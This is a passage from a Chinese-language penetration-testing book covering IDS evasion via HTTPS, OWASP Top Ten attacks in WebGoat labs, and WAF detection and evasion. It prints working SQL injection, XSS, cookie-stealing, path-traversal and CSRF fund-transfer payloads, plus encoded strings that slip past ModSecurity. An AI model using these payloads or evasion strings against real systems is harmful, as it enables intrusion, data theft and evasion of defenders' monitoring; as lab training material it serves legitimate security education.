在本章的前面,我们使用 Nikto 工具对网络安全工具包进行了扫描,并没有发现任何问题。现在我们将更仔细地研究一下。我们对 NST 进行的扫描是针对端口 443 和协议HTTPS的。为什么没有被检测到可能有多个原因。首先,我们将测试是否没有被检测到是因为攻击是针对端口 443 的,实际上这是加密流量,IDS 对此是盲目的。我们有几种选择来完成这个测试。我们可以在 NST 虚拟机上启动 web 服务器,或者在 OWASP 机器的服务器上激活 HTTPS 协议。我们将使用 NST 机器;我们必须导航到配置文件并取消注释 HTTP 行以在机器上运行它。在终端窗口中,输入gvim /etc/httpd/conf/httpd.conf来打开配置文件。

滚动到服务器配置部分,并删除#以取消注释Listen 80,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

编辑完成后,通过导航到文件 | 保存-退出退出编辑器。接下来你需要做的是重新启动 web 服务器。在终端窗口中,输入service httpd restart来重新启动服务。服务重新启动后,我们将使用 Nikto 对 NST 机器进行扫描。对于第一次扫描,我们将使用 SSL 选项,但在此之前,请确保清除 BASE 中的所有查询。返回到你的 Kali 机器并扫描 NST 机器的 IP 地址。在我们的例子中,机器地址是 10.2.0.144,这就是我们将要使用的。在终端窗口中,输入nikto -ssl -h 10.2.0.144。扫描完成后,返回到你的 BASE 并查看扫描是否被检测到。你被检测到了吗?答案应该是否定的!为什么呢?好吧,在回答这个问题之前,和所有的良好测试一样,我们将证明它。你的 BASE 显示中不应该有任何警报。返回到你的 Kali 机器并再次运行扫描,不要强制它通过 SSL。在终端窗口中,输入nikto -h 10.2.0.144。扫描完成后,返回到 BASE 显示并查看扫描是否被检测到。仪表板的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

显示 BASE 显示的屏幕(裁剪的文本不重要)

正如前面的屏幕截图所示,我们可以将攻击定向到 SSL 端口 443,但传感器没有设置警报。这是相当常见的,但管理员总是有可能打开规则来检查 HTTPS 流量。然而,这确实给了我们一个规避检测的潜在方法。再次强调,您的成功将有所不同,但如果这是工作范围的一部分,这些技术中的一些可能会帮助您规避客户的监控能力。这种技术也是隧道技术的过程,我们通过另一个端口进行协议隧道,比如 SSH 端口,这样 IDS 可能不会检查它,因为通常是加密的。

总结

在本章中,我们讨论了在我们的范围架构中构建 IDS/IPS 能力的要求。我们讨论了如何部署基于网络的 IDS 以及在每个网络段上放置传感器的配置。我们部署了 Snort IDS,并在部署后检测到了许多攻击。

在网络 IDS 之后,我们研究了基于主机的保护以及赛门铁克提供的一种端点保护方法。我们尝试使用 Web 攻击工具 Nikto 攻击机器,并在检测到攻击后触发软件阻止 IP 地址。我们通过尝试将恶意文件传输到机器中来完成端点保护部分,赛门铁克工具成功检测到并在文件传输到机器之前将其删除。

最后,我们讨论了逃避检测的话题,结束了这一章节。我们解释说,在专业测试范围内很少会被要求进行逃避检测,但也有可能会被要求。正如本章所讨论的,这方面并没有保证,因为我们的成功取决于设备管理员的配置。话虽如此,当我们使用包含加密数据的端口时,成功率最高。此外,我们在未被发现的情况下扫描了网络安全工具包虚拟机的 443 端口,但当我们在 80 端口运行攻击时被发现了。

这结束了本章。您现在已经在您的范围环境中部署了 IDS/IPS,并且已经了解了规避检测的方法。在下一章中,我们将研究如何将 Web 服务器和 Web 应用程序添加到我们的范围架构中。

第九章:评估 Web 服务器和 Web 应用程序

在本章中,您将学习评估我们可能遇到的绝大多数环境中的 Web 服务器和 Web 应用程序的技术。我们将讨论以下主题:

  • 分析 OWASP 十大攻击

  • 识别 Web 应用程序防火墙

  • 渗透 Web 应用程序防火墙

  • 工具

本章将为我们提供有关最受欢迎的攻击向量之一的信息,这种攻击向量几乎可以在任何环境中访问。几乎所有组织都需要一定形式的在线存在。因此,我们很可能会有一个 Web 服务器,可能还有一些 Web 应用程序,我们可以尝试利用它们来破坏客户系统和/或网络。

分析 OWASP 十大攻击

开放式网络应用安全项目(OWASP)组是我们可以利用的最佳资源之一,不仅可以收集有关不同类型的攻击信息,还可以了解防御这些攻击和安全编码指南的方法。在测试模式下,我们将集中关注攻击。关于这一点的一个很好的参考是 OWASP 十大攻击。您可以在www.owasp.org/index.php/Category:OWASP_Top_Ten_Project下载最新版本。

OWASP 组还有一个名为 WebGoat 的优秀教程。您可以在www.owasp.org/index.php/OWASP/Training/OWASP_WebGoat_Project找到有关教程的更多信息。

选择 OWASP Broken Web Application 虚拟机的一个优势是附带的工具。一旦启动了 OWASP 虚拟机,将为我们需要连接的接口分配一个地址。在本书的示例中,接口被分配了 IP 地址 10.2.0.132,因此所有示例将使用此地址。

一旦机器启动,我们将从 Web 浏览器访问它。因此,我们打开我们选择的浏览器,并输入http://10.1.0.132以打开机器的主页。

注意

您将需要一个连接到主机的 VMnet2 交换机,才能从主机上的浏览器访问虚拟机。如果使用虚拟机,则只要在 VMnet2 交换机上就可以了。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

用户登录后显示的页面

现在,我们准备使用此项目中包含的功能来查看特定的攻击。

注入漏洞

注入漏洞已经成为 OWASP 十大攻击的多个版本中的头号攻击,并且仍然保持领先地位。最流行的注入类型是臭名昭著的 SQL 注入。尽管我们警告开发人员并提供了许多资源,以便他们能够设计安全的应用程序,我们仍然看到这种攻击仍然成功。在注入攻击中,这只是众多方法中的一个。我们可以进行 HTML、XML 和 LDAP 注入。所有这些攻击的主要组成部分都是让应用程序执行意外的操作,或者在未经授权的情况下访问数据。

我们将使用 WebGoat 工具来了解这是如何完成的。在 OWASP Broken Web Application 首页,单击OWASP WebGoat以打开登录页面。在登录页面中,输入用户名guest和密码guest以进入教程。教程首页的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

点击Start WebGoat来启动工具。这将带你进入工具内包含的可用培训课程的界面。你可以看到有大量的可用课程,因此,花时间学习这些课程将是有益的。由于我们正在讨论注入缺陷,你会在菜单的左侧看到相关内容。点击这个并展开该主题下的不同课程。一个例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

主题下的不同课程(裁剪的文本不重要)

正如前面的截图所示,我们可以处理各种各样的缺陷,主要的是与 SQL 注入有关的。我们将查看列表中的第五个,所以点击String SQL Injection来打开课程的第一页并查看描述。一个例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,并且在查看教程时你会看到,有提示解决方案视频可以帮助你完成课程。你们中的许多人可能知道,测试 SQL 注入最简单的方法是输入一个单引号(')字符,看看我们是否能通过前端到后端数据库并产生错误消息。我们现在尝试一下。输入一个单引号字符作为名称,然后点击Go!。这将提交给应用程序。结果的例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

那么,前面截图中的结果告诉我们什么?它告诉我们,我们现在有证据表明我们输入的字符通过了前端应用程序,因为它被放入了一个查询中!如果前端捕捉到它,那么它就不会成为查询的一部分。我们看到的错误是因为这不是一个有效的 SQL 查询。现在的问题是输入一个会评估为真的字符串。我们在 SQL 注入攻击中最常用的字符串是' OR 1=1 --,当数据输入没有得到适当的净化时,可以倾倒数据库的内容。当我们使用这个常见的攻击字符串时返回的结果如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们已经成功地倾倒了整个数据库的内容。输出还告诉我们,课程已经切换到了一个参数化查询,让我们再试一次。你可以尝试这个,但我们提前告诉你,一旦查询切换到基于参数的条件,攻击将不再起作用。这里有很多 SQL 注入的课程,鼓励你去探索。我们将继续下一个攻击项目。

破损的身份验证和会话管理

当一个应用程序被设计时,设计者必须保护用于身份验证的令牌和会话密钥。不幸的是,这个领域经常被忽视或者从安全的角度实施得很差,因此,为我们提供了一个很好的攻击向量。这种攻击通常涉及捕获身份验证令牌的某种形式,然后破解令牌或使用令牌来假扮某人的身份。在我们的 WebGoat 工具中,我们有两个部分来学习这些攻击,它们是身份验证缺陷和会话管理缺陷。我们将看看身份验证缺陷。在 WebGoat 教程中,屏幕的左侧,导航到Authentication Flaws | Basic Authentication来打开课程。一个例子如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

当您阅读课程信息时,显然我们需要拦截应用程序和客户端的流量,以查看其编码方式。最常见的方法是使用代理,有许多代理可供选择。我们将使用一个简单的插件,它是 Firefox 的插件Tamper Data

一旦您将插件添加到浏览器中,我们就准备好从服务器捕获流量了。在您的 Firefox 浏览器中,导航到工具 | Tamper Data以打开工具。示例如下图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

要开始使用代理捕获数据,请点击开始 Tamper。接下来要做的是返回 WebGoat 课程并点击提交按钮将查询发送到应用程序。当工具接收到请求时,您将收到一条消息,如果收到多条消息,请确保您选择要篡改的消息具有 OWASP 虚拟机的 URL。所需请求的示例如下图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

当您审查拦截的信息时,您会看到我们有CookieAuthorization字段,我们将集中在这两个字段上。我们还将专注于Authorization字段中的值。这是 Base64 编码的,有许多方法可以解码该值。可以在base64-decode.com找到一个网站,它将获取值并为您解码。解码后的值为guest:guest

现在我们有了完成课程所需的信息;至少看起来是这样。我们将返回 WebGoat 课程并输入身份验证字段的名称,即Authorization,以及编码字符串的值为guest:guest,然后点击提交将值加载到应用程序中。预期结果的示例如下图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如之前的屏幕截图所示,我们已经成功。但我们还有更多工作要做;这不仅仅是一个步骤的课程。现在我们需要尝试让应用程序接受我们的登录为basic:basic。为了实现这一点,我们需要破坏数据并强制应用程序在破坏后进行身份验证。当您按照课程的指示操作时,您会看到它说要选择基本身份验证课程以继续挑战。当您这样做时,您将看到Tamper Data中的页面:点击Tamper以打开页面以便修改。关键在于我们需要破坏CookieAuthorization这两个字段,删除每个字段中的一个字符。一旦应用程序检测到破坏,它将提示再次输入凭据,当它这样做时,输入basic作为用户名和basic作为密码,如下图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

输入凭据后,点击确定将数据提交给应用程序。检查拦截的查询,您会注意到您的密码现在是basic,并且它是 Base64 编码的。我们现在已经将basic作为用户进行了身份验证,但我们还没有完成。

我们必须说服 WebGoat 工具我们是用户basic,我们已经在服务器端完成了这一点。所以,现在我们需要说服 WebGoat 工具。最简单的方法是破坏JSESSIONID,如下图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

如前面的截图所示,你需要输入novalidsession来破坏会话并强制 WebGoat 再次请求凭据,这将验证你为用户basic。一旦发生这种情况,你点击基本身份验证链接完成课程。示例如下截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

点击基本身份验证链接后的屏幕(裁剪的文本不重要)

这就是 Web 应用程序测试的过程;有很多不同的编写代码的方式,你必须分析和解释代码在做什么。在这节课中,我们首先必须拦截查询,以确定我们需要与之交互的参数的名称。一旦我们做到了这一点,我们必须先破坏服务器端,然后再破坏客户端,才能成功完成课程的要求。这里有很多课程,你练习得越多,就越能够识别认证和会话管理的特征。

跨站脚本攻击

另一个经受住时间考验的攻击是跨站脚本攻击XSS)。这是一个应用程序接受不受信任的数据并在没有适当验证的情况下发送到 Web 浏览器的过程。有两种验证类型,反射和存储,它们已经被非常成功地使用。

在使用 WebGoat 工具之前,我们将看一下我们可以在 OWASP 机器上使用的另一种方法:

  1. 在机器的主页面上,向下滚动直到看到测试工具的应用程序

  2. 点击OWASP-ZAP-WAVE打开我们想要测试的应用程序。

  3. 导航到活动漏洞 | 跨站脚本攻击 | 简单 XSS,在表单参数中打开一个表单供我们测试 XSS。

  4. 在表单字段中输入<script>alert("Hello")</script>并点击提交进行 XSS 测试。示例如下截图:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现在我们已经成功进行了 XSS 攻击,我们将把注意力转向 WebGoat 工具中的课程:

  1. 登录到 WebGoat 教程。

  2. 一旦你开始了程序,点击跨站脚本攻击链接并展开它。我们将要学习的课程的示例如下截图:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们将从阶段 1开始。点击它并阅读课程的指示。正如指示所述,我们将对 Jerry 执行 XSS 攻击。为了做到这一点,我们必须将信息存储到 Tom 的记录中,这样当 Jerry 访问它时,他就会陷入 XSS 陷阱。

注意

我们只显示弹出框,以说明一旦发现弱点,你可以做更多的事情。一旦找到向量,就可以使用许多 Java 调用。

按照指示以 Tom 的身份登录应用程序:

  1. 一旦你以 Tom 的身份登录,你导航到查看个人资料 | 编辑个人资料来访问 Tom 的个人资料。

  2. 一旦你访问了它,你将在地址字段中输入脚本标记。在街道字段中,输入<script>alert("Hello")</script>,然后点击上传个人资料上传个人资料。

  3. 现在你将注销并以 Jerry 的身份重新登录。

  4. 一旦你以 Jerry 的身份登录,你将导航到Tom Cat | 查看个人资料,看看你是否成功。示例如下截图:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们不会执行阶段 2,因为它会改变代码以防止攻击,而我们是进攻方,所以我们不打算进行任何防御。接下来,我们将使用以下步骤执行阶段 3课程:

  1. 点击阶段 3:存储型 XSS 再审以打开登录页面,然后通过阅读指示开始下一个阶段。

  2. 我们将首先以David的身份登录,然后导航到Bruce | View Profile记录,并验证David是否是 XSS 的受害者。示例如下截图所示:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的截图所示,我们不仅仅是弹出一个窗口,而是通过在警报框内使用document.cookie来访问了 cookie。

我们现在准备进入第 5 阶段。再次强调,我们不会执行第 4 阶段,因为这涉及到防御措施的设置,而我们现在不打算这样做。但是,你可以与其他阶段一起工作。只需记住你需要使用开发者包。

第 5 阶段,我们将按照以下方式使用反射型 XSS:

  1. 点击Stage 5: Reflected XSS以打开课程并阅读此阶段所需的说明。根据说明,你必须在应用程序的搜索功能中嵌入一个 XSS 字符串。

  2. 我们需要做的第一件事是以其中一个用户的身份登录。由于我们已经在应用程序中列出了用户Larry,所以我们将使用这个用户。

  3. 以用户Larry的身份登录,然后点击SearchStaff以打开应用程序代码的搜索部分。

  4. Name字段中输入<script>alert("You are Hacked")</script>,然后点击FindProfile按钮来运行脚本。结果的示例如下截图所示:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

就是这样!你已经进行了许多不同的 XSS 攻击,而且它们确实相对容易防止。然而,我们继续在 Web 应用程序中看到这些问题,并且它们将在一段时间内仍然作为一种可行的攻击向量存在。

不安全的直接对象引用

使用直接对象引用时,开发人员引用文件或其他对象而不使用任何形式的身份验证或访问控制检查。当我们发现这一点时,我们可以操纵数据并在不提供任何授权的情况下访问它。

我们将再次参考 WebGoat 工具来对抗应用程序的这种攻击。在 OWASP WebGoat 中,你要关注的区域是访问控制漏洞。一旦你扩展了它,你会看到有许多课程供我们使用。课程列表如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们想要打开的课程是列表中的第二个。点击Bypass a Path Based Access Control Scheme并阅读课程的说明。任何基于路径的控制保护的关键在于我们可以打破预期目录并访问位于另一个区域的文件。该课程应用程序的第一页如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

因此,挑战在于修改路径并访问当前目录之外的文件;在这种情况下,文件是tomcat-users.xml。你认为我们可以如何做到这一点?我们需要拦截某些东西,为此,我们必须使用代理来捕获查询。之前,我们使用了一个名为 Tamper Data 的工具,我们将再次使用它。首先,让我们启动一个工作空间来记录我们目前所拥有的信息。我们将使用记事本,但你可以使用任何你选择的程序。我们需要将当前目录路径和我们想要访问的文件的路径复制并粘贴到这个文档中。我们的工作空间示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

当我们查看工作空间中的信息时,我们发现在当前目录的路径中有几个目录,然后才能到达tomcat目录。然而,有一个问题。我们得到的当前目录有一个tomcat6目录,但我们的目标文件目录没有这个。说明中确实说过路径可能会不同,在这种情况下就是这样。我们需要使tomcat目录与当前目录匹配为tomcat6。突破访问控制的关键是使用../目录遍历技术来跳出目录。由于在tomcat6文件夹之前有四个目录,我们至少需要输入这么多目录遍历。因此,我们可以始终输入更多以确保安全。尝试绕过访问控制的字符串的工作空间示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

接下来的步骤是使用 Tamper Data 工具拦截查询,然后将我们的路径粘贴到包含我们正在尝试从应用程序上传的文件的字段中:

  1. 我们将导航到OffByOne.html | 查看文件并拦截查询。拦截到的查询示例如下截图所示:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

拦截的查询显示我们正在查看文件字段,这就是我们需要放置我们准备好的字符串的地方。

  1. 将字符串粘贴到字段中,然后单击确定将字符串发送到应用程序。返回到 WebGoat 课程并查看发生了什么。示例如下截图所示:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  2. 正如前面的截图所示,我们第一次尝试并不成功,但错误消息告诉我们,我们似乎在我们的路径中只有一个目录。我们将在我们的字符串中再添加一个目录遍历,看看会发生什么。添加了一个目录遍历后的结果示例如下截图所示:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

最终我们成功地突破了基于路径的访问控制。这可能是一个耗时的过程,这就是为什么我们通常使用 Web 应用程序测试工具来帮助我们识别需要进一步调查的领域。

安全配置错误

一种常见的攻击方法是寻找管理员设置的默认配置或名称,或者只是保留在安装状态下。对于 Web 应用程序,几乎总会有某种形式的配置访问,可用于配置或管理站点。我们在 WebGoat 工具中有一个关于这个的课程。导航到不安全配置 | 强制浏览以打开课程。正如您在说明中所读到的,通常会有一些可访问的配置来执行维护。我们可以尝试一些不同的文件名,但由于 OWASP 机器是一台 Linux 机器,这些机器最常见的配置文件是conf文件。因此,在浏览器中,将 URL 更改为http://10.2.0.132/WebGoat/conf,以查看是否有配置文件位于此处。这个结果的示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

就是这样!我们找到了一个不应该向公众开放的配置访问,但它却是。这是网站经常犯的一个错误。

敏感数据暴露

大多数 Web 应用程序没有正确保护它们要么处理的数据,要么存储的数据。发现数据未经加密或编码不当是很常见的。此外,当应用程序处理数据时,在许多情况下会暴露数据。

在 WebGoat 工具中,有一个课程可以让我们更加熟悉不同的编码技术。导航到不安全存储 | 编码基础以打开课程;以下是一个示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这个课程非常简单,所以我们不会在这里再详细介绍。鼓励您输入几个字符串,然后在提供的表格中查看结果。

缺少功能级访问控制

这种弱点是由于开发人员在将功能可见于用户界面UI)之前未验证功能级访问控制。一旦发现这一点,您就可以伪造请求并可能在没有适当授权的情况下获得访问权限。

跨站请求伪造

跨站请求伪造CSRF)攻击中,我们需要用户登录到一个已建立会话并使用 cookie 的网站。当满足这些条件时,攻击会获取包含的身份验证信息并将其提交给一个易受攻击的应用程序。由于应用程序存储了身份验证信息,因此请求被视为合法。

在 WebGoat 工具中,我们有一些关于 CSRF 的课程。它们位于关于跨站脚本攻击 XSS 的部分。在 WebGoat 工具中,导航到跨站脚本攻击(XSS) | 跨站请求伪造以打开课程并查看课程说明。

对于这种攻击,我们需要向嵌入的 URL 添加一个转账功能,以获取用户的身份验证信息并用于验证我们的交易。我们将在 URL 中附加代码来转账。按照说明,我们可以通过右键单击页面左侧的课程标题并将其保存到剪贴板来复制 URL。我们想要使用<IMG>标签来存储我们的 URL。过程是发送一封电子邮件,让用户在登录到我们欺骗使用的应用程序时点击链接进行转账。

我们需要在两个区域输入信息。第一个是标题,第二个是消息。让我们按照以下方式进行:

  1. CSRF-1输入为标题的名称,然后输入以下字符串作为消息,要注意 IP 地址可能在您的攻击中有所不同。输入以下内容作为消息:
<IMG SRC="http://10.2.0.132/WebGoat/attack?Screen=52&menu=900&transferFunds=4000"width="1" height="1"/>

以下是一个示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

输入代码的 CSRF 屏幕(裁剪的文本不重要)

  1. 确认命令后,点击提交按钮。这将把您的标题放在应用程序的底部。

  2. 在您点击之前,启动您的 Tamper Data 代理并拦截请求。以下是拦截请求的示例截图:外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在拦截的查询中查看信息后,点击确定,让查询发送到应用程序。如果需要,刷新 WebGoat 课程。您现在应该看到绿色的勾号,表示您成功了,如下面的截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

还有更多这样的课程可供您练习 CSRF,并鼓励您通过它们来完善您的技能、知识和对 Web 应用程序攻击的理解。

使用已知的易受攻击组件

在应用程序开发中,使用现有库和函数创建代码是一种常见做法,最近这种做法已被利用在攻击中。如果我们可以感染一个库、框架或其他流行组件,那么使用它的每一个应用程序都将面临漏洞。这是传播漏洞最有效的方式之一,也是越来越常见的事情,基于这一点,它在 2013 年被添加到顶级攻击列表中。

无效的重定向和转发

在这次攻击中,我们利用了许多 Web 应用程序会在没有适当验证的情况下使用重定向和转发,这可能导致流量重定向到恶意软件和其他恶意网站。

识别 Web 应用防火墙

当我们进行测试时,很可能会遇到Web 应用防火墙WAF)。这些旨在识别本章中大部分攻击(嗯,大部分基于 URL 的攻击)。我们将再次转向 Kali Linux 发行版来识别 WAF。您需要您的 Kali Linux 机器和我们在第六章中创建的 WAF 机器,创建外部攻击架构

一旦机器开始运行,我们要做的第一件事是确定我们的网站是否受到 Web 应用防火墙的保护。我们有几种方法可以做到这一点,每种方法的成功率都不同。我们将尝试的第一种方法是Nmap工具。

在您的 Kali Linux 机器上,打开终端窗口,输入nmap –p 80 -–script –http-waf-detect <目标 IP 地址>。这个脚本引擎将尝试确定是否存在 Web 应用防火墙。示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,脚本没有检测到我们正在运行 WAF,所以它并不总是有效。接下来,我们将查看dotDefender控制台,看它是否检测到我们的扫描。为此,我们需要打开浏览器,输入防火墙的地址,然后登录。示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,它检测到正在运行的脚本,但不幸的是,它没有告诉我们是否正在运行 WAF。所以,我们将查看另一个工具。在 Kali 中,我们有一个用于此目的的工具。转到应用程序 | Kali | IDS/IPS 识别 | Wafw00f,如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

一旦工具打开,输入wafw00f –v www.example.com在终端窗口中对站点进行扫描。我们正在扫描站点并比较从我们的探测中收到的信息。示例结果如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

结果显示,该网站似乎在防火墙后面。现在,我们将使用该工具扫描我们的 dotDefender 机器。我们通过将目标更改为我们机器的 IP 地址来执行此操作。示例结果如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,使用 wafw00f 工具似乎无法检测到最新版本的 dotDefender。这就是安全测试的现实,一旦某个东西存在一段时间后,就会有一群人试图找出改变或至少修改产品对工具的反应方式的方法。这就是为什么我们建立实验环境并查看什么有效和无效的原因。有时候,我们会很幸运地找到另一种识别错误的方法;此外,在某些情况下,错误消息可以列出设备的身份。这都是试错的过程。

渗透 Web 应用防火墙

正如我们之前讨论过的,规避检测可能是一个挑战,这与管理员如何配置策略有关。互联网上有很好的参考资料,您可以使用它们来查看您的混淆技术是否有效。免费开源的 WAF ModSecurity提供了一个网站,您可以在该网站上测试字符串,以查看它是否可能被 WAF 检测到。您可以在此位置找到该网站www.modsecurity.org/demo

一旦网站打开,您会看到有一个区域可以发布不同的字符串并查看结果。在您这样做之前,您还会看到他们列出了许多商业供应商用来展示其工具的网站。以下是此示例的屏幕截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

屏幕显示了许多商业供应商用来展示其工具的网站列表(裁剪的文本不重要)

单击页面上的ModSecurity CRS Evasion Testing Demo链接。这将测试该字符串是否符合 ModSecurity 工具的核心规则集签名,并且您将找到输入潜在混淆脚本以查看是否被检测到的区域。它不仅告诉您是否被检测到,还为字符串提供了一个数值分数的排名。对于我们的第一个示例,我们将尝试一个简单的示例来查看表单的工作原理。在表单框中,输入经典的 SQL 注入字符串' OR 1=1 –-,然后单击发送按钮并查看结果。以下是结果的示例屏幕截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,我们已经被检测到了!嗯,我们希望如此,因为我们使用了最常见和经典的字符串进行测试。我们还看到我们得分是 35。我们将看看是否可以降低得分。输入此字符串:1' AND non_existant_table ='1。以下是结果的示例屏幕截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

该死!我们又被检测到了!至少有一些好消息;我们已经将得分降低到 25。这就是我们尝试找到得分更低或不被检测到的字符串的过程。我们将尝试一个 SQL 的字符串,然后继续尝试一个 XSS 的字符串。在负载窗口中,输入此字符串:&#49&#39&#32&#79&#82&#32&#39&#49&#39&#61&#39&#49

以下是结果的示例,显示在下面的屏幕截图中:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们成功了!这是您在 Security Compass 的SQL Inject-Me工具中找到的字符串。您可以在他们的网站www.securitycompass.com找到该工具。现在我们准备看看是否可以找到一个不被检测到的 XSS 字符串。我们将为您节省一些时间,并尝试一个我们认为有很大机会要么得到低分,要么不被检测到的字符串。在负载窗口中,输入此字符串:prompt%28%27xss%27%29。以下是结果的示例屏幕截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们再次成功了。现在我们有一个不被检测到的 XSS 和 SQL 注入字符串。当然,现实情况是我们已经提交了这些字符串,所以有人可能会做功课,然后在您阅读本书时我们将被检测到。如果发生这种情况,我们的工作就是继续尝试不同的方法,直到找到一个有效的方法。此外,这只是潜在地让我们通过 WAF,接下来就取决于应用程序开发人员是否使用了安全编码准则或最佳实践。欢迎来到专业安全测试的世界!

工具

到目前为止,在本书中,我们并没有专门设置关于工具的主题点。在大多数情况下,我们保持了过程中心,并在每个章节中讨论了一些工具。对于网页应用程序测试来说,情况就不同了。正如您在本章中看到的那样,有许多种输入和与网页应用程序交互的方式,这就是这种测试的挑战所在。因此,最好使用工具来获取大量数据,然后手动去调查感兴趣的领域。市面上有大量的工具,我们在这里不会逐一介绍。

我们喜欢使用的工具之一是Burp Suite,它有免费版本和商业版本。我们喜欢它,因为它允许我们在测试时做各种各样的事情,而且我们也喜欢商业版本的价格非常合理。您可以在www.portswigger.net找到有关该工具的信息。免费版本也可以在 Kali Linux 发行版中找到。要访问它,请导航至应用程序 | Web 应用程序 | Web 应用程序模糊器 | burpsuite以打开该工具。该工具的菜单示例如下截图所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

正如前面的屏幕截图所示,该工具具有许多功能,可以在进行网页应用程序测试时帮助我们。

总结

在本章中,我们讨论了对 Web 服务器和 Web 应用程序的评估。我们从讨论 OWASP 十大漏洞开始了本章。在讨论之后,我们使用了 WebGoat 工具,并进行了一些课程,展示了网页应用程序测试的概念和技术。

在研究了 OWASP 十大漏洞之后,我们研究了识别我们和目标之间的网页应用程序防火墙的方法。我们使用了 wafw00f 工具来潜在地检测已部署的保护类型。

一旦我们了解了如何检测 WAF,我们就讨论了如何渗透它。我们研究了我们可以使用的混淆方法,以尝试绕过 WAF 提供的保护。我们将样本字符串提交到 ModSecurity 演示站点,并成功地逃避了 SQL 注入字符串和 XSS 字符串的检测。

最后,我们讨论了在进行网页测试时需要工具的必要性,特别是网页应用程序测试。

这结束了本章。您现在已经练习了网页应用程序攻击以及检测和规避防火墙的方法。

在下一章中,我们将研究对平面和内部网络的测试。

第十章:测试平面和内部网络

在本章中,您将学习在网络是平面的情况下评估网络的技术,也就是说,我们和目标之间没有任何障碍。这使得我们的任务变得更容易;此外,网络内部通常是最受信任的位置,因此在涉及到二层和物理**媒体访问控制(MAC)**地址的分配时,它提供了最少的阻力。在本章中,我们将讨论以下主题:

  • 漏洞扫描器的作用

  • 处理主机保护

本章将为我们提供有关在进行内部或白盒测试时,我们不会遇到在进行外部或黑盒测试时所遇到的挑战的详细信息。这并不意味着当网络是平面的并且我们在其中时,我们没有挑战;我们可能会遇到许多挑战。此外,我们必须做好防护的准备,例如基于主机的入侵防护、防病毒软件、主机防火墙和管理员可能部署的增强缓解体验工具EMET)。

当我们从内部测试网络时,目标是模拟多种不同的威胁向量。此外,我们希望以未经身份验证的用户、具有普通权限的用户和具有提升权限的用户的身份访问网络;这与我们在网络内部使用的工具很相配。

漏洞扫描器的作用

那么,漏洞扫描器在其中扮演了什么角色呢?嗯,这就是它们擅长的地方:当您提供扫描器的凭据时,扫描器可以登录到计算机并检查客户端软件。这是我们在外部测试环境中大部分时间无法做到的事情。

在我们介绍 Kali Linux 发行版中可用的不同扫描工具之前,我们将看看两个可以用于内部网络漏洞评估的免费工具。

Microsoft 基线安全分析器

我们要看的第一个工具来自微软,它是Microsoft 基线安全分析器MBSA)。您可以从以下链接下载该工具:www.microsoft.com/en-us/download/details.aspx?id=7558

MBSA 工具的一个好处是它来自微软,并且对缺失的内容有很好的了解。它还可以很好地识别缺失的补丁并且可以识别安全配置错误。

当您下载并安装了该工具后,打开它并启动程序。以下是开屏配置的示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

显示工具运行状态的屏幕(裁剪的文本不重要)

我们想要用工具做的第一件事是扫描一台计算机。要做到这一点,点击扫描计算机来开始配置过程并打开扫描数据输入屏幕。正如您所看到的,我们有相当多的扫描方式和一些可选设置可以选择。以下是一个示例截图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

